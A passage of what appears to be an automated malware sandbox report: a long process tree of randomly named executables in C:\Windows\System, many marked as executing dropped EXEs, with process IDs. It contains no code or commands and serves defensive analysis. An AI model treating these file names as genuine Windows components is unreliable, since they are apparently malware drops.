  C:\Windows\System\sshnffh.exe
  2⤵
  - Executes dropped EXE
  PID:4584
- C:\Windows\System\NIQDfXa.exe
  C:\Windows\System\NIQDfXa.exe
  2⤵
  - Executes dropped EXE
  PID:2652
- C:\Windows\System\FUbZJyA.exe
  C:\Windows\System\FUbZJyA.exe
  2⤵
  - Executes dropped EXE
  PID:3272
- C:\Windows\System\vHQOuBc.exe
  C:\Windows\System\vHQOuBc.exe
  2⤵
  - Executes dropped EXE
  PID:4140
- C:\Windows\System\uwTjeHG.exe
  C:\Windows\System\uwTjeHG.exe
  2⤵
  - Executes dropped EXE
  PID:4828
- C:\Windows\System\RFmIoTk.exe
  C:\Windows\System\RFmIoTk.exe
  2⤵
  - Executes dropped EXE
  PID:1416
- C:\Windows\System\thsHzrc.exe
  C:\Windows\System\thsHzrc.exe
  2⤵
  - Executes dropped EXE
  PID:3652
- C:\Windows\System\IWkcvvV.exe
  C:\Windows\System\IWkcvvV.exe
  2⤵
  - Executes dropped EXE
  PID:1360
- C:\Windows\System\vBwbdAP.exe
  C:\Windows\System\vBwbdAP.exe
  2⤵
  - Executes dropped EXE
  PID:2204
- C:\Windows\System\timXuAn.exe
  C:\Windows\System\timXuAn.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\hZajREC.exe
  C:\Windows\System\hZajREC.exe
  2⤵
  - Executes dropped EXE
  PID:2032
- C:\Windows\System\FOsnmOn.exe
  C:\Windows\System\FOsnmOn.exe
  2⤵
  - Executes dropped EXE
  PID:4436
- C:\Windows\System\rGxVTHa.exe
  C:\Windows\System\rGxVTHa.exe
  2⤵
  - Executes dropped EXE
  PID:2628
- C:\Windows\System\TyeSNjO.exe
  C:\Windows\System\TyeSNjO.exe
  2⤵
  - Executes dropped EXE
  PID:4224
- C:\Windows\System\xgvbBhQ.exe
  C:\Windows\System\xgvbBhQ.exe
  2⤵
  - Executes dropped EXE
  PID:2680
- C:\Windows\System\rYnrOii.exe
  C:\Windows\System\rYnrOii.exe
  2⤵
  - Executes dropped EXE
  PID:1240
- C:\Windows\System\vVQLVjR.exe
  C:\Windows\System\vVQLVjR.exe
  2⤵
  - Executes dropped EXE
  PID:2384
- C:\Windows\System\GRuDyeo.exe
  C:\Windows\System\GRuDyeo.exe
  2⤵
  - Executes dropped EXE
  PID:732
- C:\Windows\System\tzWgLIQ.exe
  C:\Windows\System\tzWgLIQ.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\qspDBuF.exe
  C:\Windows\System\qspDBuF.exe
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Windows\System\faPDhSy.exe
  C:\Windows\System\faPDhSy.exe
  2⤵
  - Executes dropped EXE
  PID:1172
- C:\Windows\System\LeobatE.exe
  C:\Windows\System\LeobatE.exe
  2⤵
  - Executes dropped EXE
  PID:4564
- C:\Windows\System\yRmxMAx.exe
  C:\Windows\System\yRmxMAx.exe
  2⤵
  - Executes dropped EXE
  PID:4440
- C:\Windows\System\xuoyrzB.exe
  C:\Windows\System\xuoyrzB.exe
  2⤵
  - Executes dropped EXE
  PID:2852
- C:\Windows\System\VfaVrlh.exe
  C:\Windows\System\VfaVrlh.exe
  2⤵
  - Executes dropped EXE
  PID:3180
- C:\Windows\System\zxfJaWn.exe
  C:\Windows\System\zxfJaWn.exe
  2⤵
  - Executes dropped EXE
  PID:4380
- C:\Windows\System\lkLsvov.exe
  C:\Windows\System\lkLsvov.exe
  2⤵
  - Executes dropped EXE
  PID:1316
- C:\Windows\System\XbHeuCp.exe
  C:\Windows\System\XbHeuCp.exe
  2⤵
  - Executes dropped EXE
  PID:3220
- C:\Windows\System\YoZwvmg.exe
  C:\Windows\System\YoZwvmg.exe
  2⤵
  - Executes dropped EXE
  PID:2088
- C:\Windows\System\KlmSvIM.exe
  C:\Windows\System\KlmSvIM.exe
  2⤵
  - Executes dropped EXE
  PID:2200
- C:\Windows\System\riCIUGQ.exe
  C:\Windows\System\riCIUGQ.exe
  2⤵
  - Executes dropped EXE
  PID:2396
- C:\Windows\System\CIIcEcg.exe
  C:\Windows\System\CIIcEcg.exe
  2⤵
  - Executes dropped EXE
  PID:3420
- C:\Windows\System\HyxKSJM.exe
  C:\Windows\System\HyxKSJM.exe
  2⤵
  - Executes dropped EXE
  PID:3764
- C:\Windows\System\kpAwwYU.exe
  C:\Windows\System\kpAwwYU.exe
  2⤵
  - Executes dropped EXE
  PID:2668
- C:\Windows\System\nyAYgPB.exe
  C:\Windows\System\nyAYgPB.exe
  2⤵
  - Executes dropped EXE
  PID:4172
- C:\Windows\System\nDXJJas.exe
  C:\Windows\System\nDXJJas.exe
  2⤵
  - Executes dropped EXE
  PID:3096
- C:\Windows\System\yPZNaFj.exe
  C:\Windows\System\yPZNaFj.exe
  2⤵
  - Executes dropped EXE
  PID:540
- C:\Windows\System\oxQeWoR.exe
  C:\Windows\System\oxQeWoR.exe
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Windows\System\VSJFnYu.exe
  C:\Windows\System\VSJFnYu.exe
  2⤵
  - Executes dropped EXE
  PID:4892
- C:\Windows\System\zSuAiRe.exe
  C:\Windows\System\zSuAiRe.exe
  2⤵
  - Executes dropped EXE
  PID:1168
- C:\Windows\System\DaobhdH.exe
  C:\Windows\System\DaobhdH.exe
  2⤵
  - Executes dropped EXE
  PID:4684
- C:\Windows\System\UVgdDei.exe
  C:\Windows\System\UVgdDei.exe
  2⤵
  - Executes dropped EXE
  PID:3276
- C:\Windows\System\fjYukrr.exe
  C:\Windows\System\fjYukrr.exe
  2⤵
  - Executes dropped EXE
  PID:1540
- C:\Windows\System\KCaAOQk.exe
  C:\Windows\System\KCaAOQk.exe
  2⤵
  - Executes dropped EXE
  PID:2284
- C:\Windows\System\vklDGTZ.exe
  C:\Windows\System\vklDGTZ.exe
  2⤵
  PID:1344
- C:\Windows\System\xzurIXc.exe
  C:\Windows\System\xzurIXc.exe
  2⤵
  PID:4988
- C:\Windows\System\KQeMPWk.exe
  C:\Windows\System\KQeMPWk.exe
  2⤵
  PID:2180
- C:\Windows\System\MYIrCzW.exe
  C:\Windows\System\MYIrCzW.exe
  2⤵
  PID:3672
- C:\Windows\System\rkSQzLm.exe
  C:\Windows\System\rkSQzLm.exe
  2⤵
  PID:3840
- C:\Windows\System\OlbQTAv.exe
  C:\Windows\System\OlbQTAv.exe
  2⤵
  PID:5008
- C:\Windows\System\dkPmLxh.exe
  C:\Windows\System\dkPmLxh.exe
  2⤵
  PID:1084
- C:\Windows\System\RDOkMwI.exe
  C:\Windows\System\RDOkMwI.exe
  2⤵
  PID:2816
- C:\Windows\System\lrFkRRE.exe
  C:\Windows\System\lrFkRRE.exe
  2⤵
  PID:4736
- C:\Windows\System\CRbKDvp.exe
  C:\Windows\System\CRbKDvp.exe
  2⤵
  PID:4832
- C:\Windows\System\rEdvggK.exe
  C:\Windows\System\rEdvggK.exe
  2⤵
  PID:440
- C:\Windows\System\YrUDcbd.exe
  C:\Windows\System\YrUDcbd.exe
  2⤵
  PID:2404
- C:\Windows\System\EoDEyte.exe
  C:\Windows\System\EoDEyte.exe
  2⤵
  PID:4488
- C:\Windows\System\KwGckOZ.exe
  C:\Windows\System\KwGckOZ.exe
  2⤵
  PID:5076
- C:\Windows\System\nwWtvre.exe
  C:\Windows\System\nwWtvre.exe
  2⤵
  PID:2692
- C:\Windows\System\KWYUTcK.exe
  C:\Windows\System\KWYUTcK.exe
  2⤵
  PID:1996
- C:\Windows\System\TjOEbdo.exe
  C:\Windows\System\TjOEbdo.exe
  2⤵
  PID:1176
- C:\Windows\System\xxXPtsr.exe
  C:\Windows\System\xxXPtsr.exe
  2⤵
  PID:5080
- C:\Windows\System\mNfKeUZ.exe
  C:\Windows\System\mNfKeUZ.exe
  2⤵
  PID:1852
- C:\Windows\System\TjvPSBG.exe
  C:\Windows\System\TjvPSBG.exe
  2⤵
  PID:536
- C:\Windows\System\BaaQUQA.exe
  C:\Windows\System\BaaQUQA.exe
  2⤵
  PID:1108
- C:\Windows\System\COaqtNU.exe
  C:\Windows\System\COaqtNU.exe
  2⤵
  PID:3992
- C:\Windows\System\UgpYDLF.exe
  C:\Windows\System\UgpYDLF.exe
  2⤵
  PID:5072
- C:\Windows\System\qkBeunU.exe
  C:\Windows\System\qkBeunU.exe
  2⤵
  PID:3864
- C:\Windows\System\eftabBO.exe
  C:\Windows\System\eftabBO.exe
  2⤵
  PID:2464
- C:\Windows\System\waMwONo.exe
  C:\Windows\System\waMwONo.exe
  2⤵
  PID:1896
- C:\Windows\System\UGFmOHx.exe
  C:\Windows\System\UGFmOHx.exe
  2⤵
  PID:684
- C:\Windows\System\NnIFopb.exe
  C:\Windows\System\NnIFopb.exe
  2⤵
  PID:1248
- C:\Windows\System\SiCiCJK.exe
  C:\Windows\System\SiCiCJK.exe
  2⤵
  PID:5136
- C:\Windows\System\wdfVUIP.exe
  C:\Windows\System\wdfVUIP.exe
  2⤵
  PID:5164
- C:\Windows\System\joAnBMj.exe
  C:\Windows\System\joAnBMj.exe
  2⤵
  PID:5192
- C:\Windows\System\rbCLkBM.exe
  C:\Windows\System\rbCLkBM.exe
  2⤵
  PID:5208
- C:\Windows\System\BVZBECg.exe
  C:\Windows\System\BVZBECg.exe
  2⤵
  PID:5236
- C:\Windows\System\FaRSlTK.exe
  C:\Windows\System\FaRSlTK.exe
  2⤵
  PID:5276
- C:\Windows\System\ORAbkEP.exe
  C:\Windows\System\ORAbkEP.exe
  2⤵
  PID:5308
- C:\Windows\System\cYMydVp.exe
  C:\Windows\System\cYMydVp.exe
  2⤵
  PID:5332
- C:\Windows\System\oDDHKbO.exe
  C:\Windows\System\oDDHKbO.exe
  2⤵
  PID:5360
- C:\Windows\System\zsGIeIE.exe
  C:\Windows\System\zsGIeIE.exe
  2⤵
  PID:5392
- C:\Windows\System\myLCYOd.exe
  C:\Windows\System\myLCYOd.exe
  2⤵
  PID:5420
- C:\Windows\System\rORNLrY.exe
  C:\Windows\System\rORNLrY.exe
  2⤵
  PID:5440
- C:\Windows\System\FQItoaF.exe
  C:\Windows\System\FQItoaF.exe
  2⤵
  PID:5468
- C:\Windows\System\ofxEzuU.exe
  C:\Windows\System\ofxEzuU.exe
  2⤵
  PID:5496
- C:\Windows\System\ejCeRQO.exe
  C:\Windows\System\ejCeRQO.exe
  2⤵
  PID:5532
- C:\Windows\System\ERDLCDX.exe
  C:\Windows\System\ERDLCDX.exe
  2⤵
  PID:5548
- C:\Windows\System\NEiVCdH.exe
  C:\Windows\System\NEiVCdH.exe
  2⤵
  PID:5600
- C:\Windows\System\cXaDCYb.exe
  C:\Windows\System\cXaDCYb.exe
  2⤵
  PID:5624
- C:\Windows\System\cdKaYZW.exe
  C:\Windows\System\cdKaYZW.exe
  2⤵
  PID:5652
- C:\Windows\System\dXDFUTU.exe
  C:\Windows\System\dXDFUTU.exe
  2⤵
  PID:5688
- C:\Windows\System\xCgxbHe.exe
  C:\Windows\System\xCgxbHe.exe
  2⤵
  PID:5708
- C:\Windows\System\wwyFXxH.exe
  C:\Windows\System\wwyFXxH.exe
  2⤵
  PID:5740
- C:\Windows\System\iUyhlMx.exe
  C:\Windows\System\iUyhlMx.exe
  2⤵
  PID:5768
- C:\Windows\System\QSniQkZ.exe
  C:\Windows\System\QSniQkZ.exe
  2⤵
  PID:5796
- C:\Windows\System\WNAweRM.exe
  C:\Windows\System\WNAweRM.exe
  2⤵
  PID:5812
- C:\Windows\System\wsEtSpl.exe
  C:\Windows\System\wsEtSpl.exe
  2⤵
  PID:5836
- C:\Windows\System\jbufxFT.exe
  C:\Windows\System\jbufxFT.exe
  2⤵
  PID:5856
- C:\Windows\System\nPDtOMr.exe
  C:\Windows\System\nPDtOMr.exe
  2⤵
  PID:5896
- C:\Windows\System\UuTBtFU.exe
  C:\Windows\System\UuTBtFU.exe
  2⤵
  PID:5940
- C:\Windows\System\BeuzfUn.exe
  C:\Windows\System\BeuzfUn.exe
  2⤵
  PID:5968
- C:\Windows\System\qISdNLd.exe
  C:\Windows\System\qISdNLd.exe
  2⤵
  PID:5992
- C:\Windows\System\qbTfkYl.exe
  C:\Windows\System\qbTfkYl.exe
  2⤵
  PID:6024
- C:\Windows\System\uZttrra.exe
  C:\Windows\System\uZttrra.exe
  2⤵
  PID:6048
- C:\Windows\System\NoQgfvX.exe
  C:\Windows\System\NoQgfvX.exe
  2⤵
  PID:6080
- C:\Windows\System\MsjcAHb.exe
  C:\Windows\System\MsjcAHb.exe
  2⤵
  PID:6112
- C:\Windows\System\WMRmrVb.exe
  C:\Windows\System\WMRmrVb.exe
  2⤵
  PID:6140
- C:\Windows\System\BAzSXhK.exe
  C:\Windows\System\BAzSXhK.exe
  2⤵
  PID:5160
- C:\Windows\System\PvwjZrr.exe
  C:\Windows\System\PvwjZrr.exe
  2⤵
  PID:5348
- C:\Windows\System\DoOfrlO.exe
  C:\Windows\System\DoOfrlO.exe
  2⤵
  PID:5384
- C:\Windows\System\tyDJxxE.exe
  C:\Windows\System\tyDJxxE.exe
  2⤵
  PID:5452
- C:\Windows\System\SSiCEdw.exe
  C:\Windows\System\SSiCEdw.exe
  2⤵
  PID:5480
- C:\Windows\System\vjoPnZi.exe
  C:\Windows\System\vjoPnZi.exe
  2⤵
  PID:5524
- C:\Windows\System\rTkNyAr.exe
  C:\Windows\System\rTkNyAr.exe
  2⤵
  PID:5640
- C:\Windows\System\RgwlfVu.exe
  C:\Windows\System\RgwlfVu.exe
  2⤵
  PID:5696
- C:\Windows\System\UZirKaY.exe
  C:\Windows\System\UZirKaY.exe
  2⤵
  PID:5756
- C:\Windows\System\NEAdTvP.exe
  C:\Windows\System\NEAdTvP.exe
  2⤵
  PID:5804
- C:\Windows\System\ffiZhHk.exe
  C:\Windows\System\ffiZhHk.exe
  2⤵
  PID:5872
- C:\Windows\System\kScxBgf.exe
  C:\Windows\System\kScxBgf.exe
  2⤵
  PID:5952
- C:\Windows\System\EMafiFo.exe
  C:\Windows\System\EMafiFo.exe
  2⤵
  PID:5988
- C:\Windows\System\MSBqvFl.exe
  C:\Windows\System\MSBqvFl.exe
  2⤵
  PID:6088
- C:\Windows\System\cvXdlfk.exe
  C:\Windows\System\cvXdlfk.exe
  2⤵
  PID:5128
- C:\Windows\System\TDRZJTX.exe
  C:\Windows\System\TDRZJTX.exe
  2⤵
  PID:5204
- C:\Windows\System\bbQjzli.exe
  C:\Windows\System\bbQjzli.exe
  2⤵
  PID:5572
- C:\Windows\System\nLaSiIS.exe
  C:\Windows\System\nLaSiIS.exe
  2⤵
  PID:5676
- C:\Windows\System\pqWGZeu.exe
  C:\Windows\System\pqWGZeu.exe
  2⤵
  PID:5808
- C:\Windows\System\cbATyUW.exe
  C:\Windows\System\cbATyUW.exe
  2⤵
  PID:5932
- C:\Windows\System\GmtrYOS.exe
  C:\Windows\System\GmtrYOS.exe
  2⤵
  PID:6108
- C:\Windows\System\FrTOEkH.exe
  C:\Windows\System\FrTOEkH.exe
  2⤵
  PID:5412
- C:\Windows\System\JluDLdY.exe
  C:\Windows\System\JluDLdY.exe
  2⤵
  PID:2452
- C:\Windows\System\ekUCthj.exe
  C:\Windows\System\ekUCthj.exe
  2⤵
  PID:5920
- C:\Windows\System\KuLzdVA.exe
  C:\Windows\System\KuLzdVA.exe
  2⤵
  PID:5516
- C:\Windows\System\XUyDzzs.exe
  C:\Windows\System\XUyDzzs.exe
  2⤵
  PID:6152
- C:\Windows\System\HQnUrEC.exe
  C:\Windows\System\HQnUrEC.exe
  2⤵
  PID:6180
- C:\Windows\System\JnRYMyj.exe
  C:\Windows\System\JnRYMyj.exe
  2⤵
  PID:6196
- C:\Windows\System\qQBYiio.exe
  C:\Windows\System\qQBYiio.exe
  2⤵
  PID:6240
- C:\Windows\System\mwTVrzi.exe
  C:\Windows\System\mwTVrzi.exe
  2⤵
  PID:6272
- C:\Windows\System\TDVwZbK.exe
  C:\Windows\System\TDVwZbK.exe
  2⤵
  PID:6300
- C:\Windows\System\WaKCUgl.exe
  C:\Windows\System\WaKCUgl.exe
  2⤵
  PID:6316
- C:\Windows\System\WjcHhek.exe
  C:\Windows\System\WjcHhek.exe
  2⤵
  PID:6356
- C:\Windows\System\IJDGEuM.exe
  C:\Windows\System\IJDGEuM.exe
  2⤵
  PID:6388
- C:\Windows\System\jJUKivI.exe
  C:\Windows\System\jJUKivI.exe
  2⤵
  PID:6412
- C:\Windows\System\ncBfIHi.exe
  C:\Windows\System\ncBfIHi.exe
  2⤵
  PID:6444
- C:\Windows\System\CazaHWZ.exe
  C:\Windows\System\CazaHWZ.exe
  2⤵
  PID:6468
- C:\Windows\System\vURyyca.exe
  C:\Windows\System\vURyyca.exe
  2⤵
  PID:6504
- C:\Windows\System\ByrNWWr.exe
  C:\Windows\System\ByrNWWr.exe
  2⤵
  PID:6524
- C:\Windows\System\gqaFcIW.exe
  C:\Windows\System\gqaFcIW.exe
  2⤵
  PID:6556
- C:\Windows\System\OGcVXIS.exe
  C:\Windows\System\OGcVXIS.exe
  2⤵
  PID:6584
- C:\Windows\System\pTjhioU.exe
  C:\Windows\System\pTjhioU.exe
  2⤵
  PID:6612
- C:\Windows\System\IbEZlda.exe
  C:\Windows\System\IbEZlda.exe
  2⤵
  PID:6640
- C:\Windows\System\JlCdxBS.exe
  C:\Windows\System\JlCdxBS.exe
  2⤵
  PID:6668
- C:\Windows\System\iagMsVU.exe
  C:\Windows\System\iagMsVU.exe
  2⤵
  PID:6696
- C:\Windows\System\bhdycoA.exe
  C:\Windows\System\bhdycoA.exe
  2⤵
  PID:6728
- C:\Windows\System\JfhdKoE.exe
  C:\Windows\System\JfhdKoE.exe
  2⤵
  PID:6752
- C:\Windows\System\gucoNQX.exe
  C:\Windows\System\gucoNQX.exe
  2⤵
  PID:6784
- C:\Windows\System\MRsvjaz.exe
  C:\Windows\System\MRsvjaz.exe
  2⤵
  PID:6808
- C:\Windows\System\SJgXJqD.exe
  C:\Windows\System\SJgXJqD.exe
  2⤵
  PID:6836
- C:\Windows\System\sYocBOq.exe
  C:\Windows\System\sYocBOq.exe
  2⤵
  PID:6868
- C:\Windows\System\kBWVUbI.exe
  C:\Windows\System\kBWVUbI.exe
  2⤵
  PID:6896
- C:\Windows\System\CObNBYQ.exe
  C:\Windows\System\CObNBYQ.exe
  2⤵
  PID:6924
- C:\Windows\System\GDjXZPb.exe
  C:\Windows\System\GDjXZPb.exe
  2⤵
  PID:6948
- C:\Windows\System\SvboHwq.exe
  C:\Windows\System\SvboHwq.exe
  2⤵
  PID:6980
- C:\Windows\System\nmtwvjG.exe
  C:\Windows\System\nmtwvjG.exe
  2⤵
  PID:7008
- C:\Windows\System\IhcuJie.exe
  C:\Windows\System\IhcuJie.exe
  2⤵
  PID:7036
- C:\Windows\System\WWVoLUV.exe
  C:\Windows\System\WWVoLUV.exe
  2⤵
  PID:7068
- C:\Windows\System\vgNZRWb.exe
  C:\Windows\System\vgNZRWb.exe
  2⤵
  PID:7100
- C:\Windows\System\bPzKIqa.exe
  C:\Windows\System\bPzKIqa.exe
  2⤵
  PID:7144
- C:\Windows\System\uOnTEwI.exe
  C:\Windows\System\uOnTEwI.exe
  2⤵
  PID:5184
- C:\Windows\System\bTUEhTW.exe
  C:\Windows\System\bTUEhTW.exe
  2⤵
  PID:6212
- C:\Windows\System\EhOzVUg.exe
  C:\Windows\System\EhOzVUg.exe
  2⤵
  PID:6268
- C:\Windows\System\bliSbGF.exe
  C:\Windows\System\bliSbGF.exe
  2⤵
  PID:6328
- C:\Windows\System\FhNrlpx.exe
  C:\Windows\System\FhNrlpx.exe
  2⤵
  PID:6376
- C:\Windows\System\CRITdWV.exe
  C:\Windows\System\CRITdWV.exe
  2⤵
  PID:6432
- C:\Windows\System\VrwSLIP.exe
  C:\Windows\System\VrwSLIP.exe
  2⤵
  PID:6512
- C:\Windows\System\QkWgpeP.exe
  C:\Windows\System\QkWgpeP.exe
  2⤵
  PID:6568
- C:\Windows\System\yPbrDje.exe
  C:\Windows\System\yPbrDje.exe
  2⤵
  PID:6632
- C:\Windows\System\SQZQjkC.exe
  C:\Windows\System\SQZQjkC.exe
  2⤵
  PID:6720
- C:\Windows\System\DCkYeJS.exe
  C:\Windows\System\DCkYeJS.exe
  2⤵
  PID:6776
- C:\Windows\System\DEYRduv.exe
  C:\Windows\System\DEYRduv.exe
  2⤵
  PID:6828
- C:\Windows\System\uPCrAxl.exe
  C:\Windows\System\uPCrAxl.exe
  2⤵
  PID:6888
- C:\Windows\System\ZdLkRHp.exe
  C:\Windows\System\ZdLkRHp.exe
  2⤵
  PID:6960
- C:\Windows\System\mwAukqv.exe
  C:\Windows\System\mwAukqv.exe
  2⤵
  PID:7032
- C:\Windows\System\TyDnezj.exe
  C:\Windows\System\TyDnezj.exe
  2⤵
  PID:7092
- C:\Windows\System\ZKeScNN.exe
  C:\Windows\System\ZKeScNN.exe
  2⤵
  PID:7128
- C:\Windows\System\YgApLuY.exe
  C:\Windows\System\YgApLuY.exe
  2⤵
  PID:6252
- C:\Windows\System\tnYiLVY.exe
  C:\Windows\System\tnYiLVY.exe
  2⤵
  PID:6352
- C:\Windows\System\crgKZOD.exe
  C:\Windows\System\crgKZOD.exe
  2⤵
  PID:6548
- C:\Windows\System\qDlkgLd.exe
  C:\Windows\System\qDlkgLd.exe
  2⤵
  PID:6680
- C:\Windows\System\NfHMlZW.exe
  C:\Windows\System\NfHMlZW.exe
  2⤵
  PID:6848
- C:\Windows\System\ASDGtIf.exe
  C:\Windows\System\ASDGtIf.exe
  2⤵
  PID:7060
- C:\Windows\System\Enldrpg.exe
  C:\Windows\System\Enldrpg.exe
  2⤵
  PID:6312
- C:\Windows\System\YACWOMj.exe
  C:\Windows\System\YACWOMj.exe
  2⤵
  PID:6608
- C:\Windows\System\DdAaveg.exe
  C:\Windows\System\DdAaveg.exe
  2⤵
  PID:6484
- C:\Windows\System\VZfkOOh.exe
  C:\Windows\System\VZfkOOh.exe
  2⤵
  PID:1508
- C:\Windows\System\axwwXoV.exe
  C:\Windows\System\axwwXoV.exe
  2⤵
  PID:7192
- C:\Windows\System\bqsgrEj.exe
  C:\Windows\System\bqsgrEj.exe
  2⤵
  PID:7208
- C:\Windows\System\fAPteNA.exe
  C:\Windows\System\fAPteNA.exe
  2⤵
  PID:7228
- C:\Windows\System\rVfNPhu.exe
  C:\Windows\System\rVfNPhu.exe
  2⤵
  PID:7260
- C:\Windows\System\TIAEOZM.exe
  C:\Windows\System\TIAEOZM.exe
  2⤵
  PID:7304
- C:\Windows\System\KwyGkYi.exe
  C:\Windows\System\KwyGkYi.exe
  2⤵
  PID:7332
- C:\Windows\System\CESlbjq.exe
  C:\Windows\System\CESlbjq.exe
  2⤵
  PID:7352
- C:\Windows\System\qGydDbC.exe
  C:\Windows\System\qGydDbC.exe
  2⤵
  PID:7392
- C:\Windows\System\uvQoXvh.exe
  C:\Windows\System\uvQoXvh.exe
  2⤵
  PID:7424
- C:\Windows\System\hlQWjFZ.exe
  C:\Windows\System\hlQWjFZ.exe
  2⤵
  PID:7456
- C:\Windows\System\HeBlduP.exe
  C:\Windows\System\HeBlduP.exe
  2⤵
  PID:7476
- C:\Windows\System\GvUsaCG.exe
  C:\Windows\System\GvUsaCG.exe
  2⤵
  PID:7508
- C:\Windows\System\eghFQDU.exe
  C:\Windows\System\eghFQDU.exe
  2⤵
  PID:7544
- C:\Windows\System\MwxhOGx.exe
  C:\Windows\System\MwxhOGx.exe
  2⤵
  PID:7568
- C:\Windows\System\KjQxKii.exe
  C:\Windows\System\KjQxKii.exe
  2⤵
  PID:7596
- C:\Windows\System\atTZQFT.exe
  C:\Windows\System\atTZQFT.exe
  2⤵
  PID:7624
- C:\Windows\System\yFgUvmf.exe
  C:\Windows\System\yFgUvmf.exe
  2⤵
  PID:7652
- C:\Windows\System\ewsuIgl.exe
  C:\Windows\System\ewsuIgl.exe
  2⤵
  PID:7680
- C:\Windows\System\zpPFYej.exe
  C:\Windows\System\zpPFYej.exe
  2⤵
  PID:7712
- C:\Windows\System\iCXEcey.exe
  C:\Windows\System\iCXEcey.exe
  2⤵
  PID:7732
- C:\Windows\System\xNFgpiv.exe
  C:\Windows\System\xNFgpiv.exe
  2⤵
  PID:7764
- C:\Windows\System\rfAysOh.exe
  C:\Windows\System\rfAysOh.exe
  2⤵
  PID:7788
- C:\Windows\System\UbDlNqw.exe
  C:\Windows\System\UbDlNqw.exe
  2⤵
  PID:7820
- C:\Windows\System\NokNYda.exe
  C:\Windows\System\NokNYda.exe
  2⤵
  PID:7848
- C:\Windows\System\znzCMhh.exe
  C:\Windows\System\znzCMhh.exe
  2⤵
  PID:7876
- C:\Windows\System\qvLScMB.exe
  C:\Windows\System\qvLScMB.exe
  2⤵
  PID:7900
- C:\Windows\System\clPluSa.exe
  C:\Windows\System\clPluSa.exe
  2⤵
  PID:7928
- C:\Windows\System\wSvzrES.exe
  C:\Windows\System\wSvzrES.exe
  2⤵
  PID:7960
- C:\Windows\System\DjVxJbZ.exe
  C:\Windows\System\DjVxJbZ.exe
  2⤵
  PID:7984
- C:\Windows\System\KhJqbQr.exe
  C:\Windows\System\KhJqbQr.exe
  2⤵
  PID:8012
- C:\Windows\System\knCnFQn.exe
  C:\Windows\System\knCnFQn.exe
  2⤵
  PID:8040
- C:\Windows\System\nTEdZqE.exe
  C:\Windows\System\nTEdZqE.exe
  2⤵
  PID:8068
- C:\Windows\System\grQqmtI.exe
  C:\Windows\System\grQqmtI.exe
  2⤵
  PID:8096
- C:\Windows\System\XEdQFaW.exe
  C:\Windows\System\XEdQFaW.exe
  2⤵
  PID:8124
- C:\Windows\System\YvrcqIu.exe
  C:\Windows\System\YvrcqIu.exe
  2⤵
  PID:8156
- C:\Windows\System\pyWDYkd.exe
  C:\Windows\System\pyWDYkd.exe
  2⤵
  PID:8184
- C:\Windows\System\SYWbseg.exe
  C:\Windows\System\SYWbseg.exe
  2⤵
  PID:7236
- C:\Windows\System\amXwoVK.exe
  C:\Windows\System\amXwoVK.exe
  2⤵
  PID:7268
- C:\Windows\System\xKbtvov.exe
  C:\Windows\System\xKbtvov.exe
  2⤵
  PID:7372
- C:\Windows\System\LuZXnos.exe
  C:\Windows\System\LuZXnos.exe
  2⤵
  PID:7432
- C:\Windows\System\NbJShLP.exe
  C:\Windows\System\NbJShLP.exe
  2⤵
  PID:7496
- C:\Windows\System\QhGgzbJ.exe
  C:\Windows\System\QhGgzbJ.exe
  2⤵
  PID:7560
- C:\Windows\System\ytWZMOg.exe
  C:\Windows\System\ytWZMOg.exe
  2⤵
  PID:7636
- C:\Windows\System\YUQfoXw.exe
  C:\Windows\System\YUQfoXw.exe
  2⤵
  PID:7696
- C:\Windows\System\mLMthZE.exe
  C:\Windows\System\mLMthZE.exe
  2⤵
  PID:7776
- C:\Windows\System\bpqryIH.exe
  C:\Windows\System\bpqryIH.exe
  2⤵
  PID:7828
- C:\Windows\System\AuypYlw.exe
  C:\Windows\System\AuypYlw.exe
  2⤵
  PID:7892
- C:\Windows\System\miIJecG.exe
  C:\Windows\System\miIJecG.exe
  2⤵
  PID:7952
- C:\Windows\System\ZhWnKnR.exe
  C:\Windows\System\ZhWnKnR.exe
  2⤵
  PID:8024
- C:\Windows\System\zpScWOp.exe
  C:\Windows\System\zpScWOp.exe
  2⤵
  PID:8092
- C:\Windows\System\JcoNCHW.exe
  C:\Windows\System\JcoNCHW.exe
  2⤵
  PID:8132
- C:\Windows\System\ngAGaxp.exe
  C:\Windows\System\ngAGaxp.exe
  2⤵
  PID:7280
- C:\Windows\System\AtBDUdd.exe
  C:\Windows\System\AtBDUdd.exe
  2⤵
  PID:7388
- C:\Windows\System\DesAmie.exe
  C:\Windows\System\DesAmie.exe
  2⤵
  PID:7552
- C:\Windows\System\DHemvNc.exe
  C:\Windows\System\DHemvNc.exe
  2⤵
  PID:7688
- C:\Windows\System\oSFFSla.exe
  C:\Windows\System\oSFFSla.exe
  2⤵
  PID:7812
- C:\Windows\System\WRbBoNA.exe
  C:\Windows\System\WRbBoNA.exe
  2⤵
  PID:8004
- C:\Windows\System\LoSBlAW.exe
  C:\Windows\System\LoSBlAW.exe
  2⤵
  PID:8152
- C:\Windows\System\caBxEqB.exe
  C:\Windows\System\caBxEqB.exe
  2⤵
  PID:7464
- C:\Windows\System\snJoFSj.exe
  C:\Windows\System\snJoFSj.exe
  2⤵
  PID:7808
- C:\Windows\System\KUtHgAL.exe
  C:\Windows\System\KUtHgAL.exe
  2⤵
  PID:8144
- C:\Windows\System\nwgwrpY.exe
  C:\Windows\System\nwgwrpY.exe
  2⤵
  PID:7948
- C:\Windows\System\waIYPtb.exe
  C:\Windows\System\waIYPtb.exe
  2⤵
  PID:8196
- C:\Windows\System\YucKfFn.exe
  C:\Windows\System\YucKfFn.exe
  2⤵
  PID:8228
- C:\Windows\System\slCiDKU.exe
  C:\Windows\System\slCiDKU.exe
  2⤵
  PID:8260
- C:\Windows\System\ExITVkn.exe
  C:\Windows\System\ExITVkn.exe
  2⤵
  PID:8296
- C:\Windows\System\nnBfQDT.exe
  C:\Windows\System\nnBfQDT.exe
  2⤵
  PID:8324
- C:\Windows\System\PIpRxda.exe
  C:\Windows\System\PIpRxda.exe
  2⤵
  PID:8368
- C:\Windows\System\MEgxECj.exe
  C:\Windows\System\MEgxECj.exe
  2⤵
  PID:8408
- C:\Windows\System\qPdOZxw.exe
  C:\Windows\System\qPdOZxw.exe
  2⤵
  PID:8436
- C:\Windows\System\MraTTCv.exe
  C:\Windows\System\MraTTCv.exe
  2⤵
  PID:8476
- C:\Windows\System\kVHEFyI.exe
  C:\Windows\System\kVHEFyI.exe
  2⤵
  PID:8508
- C:\Windows\System\Krvxsep.exe
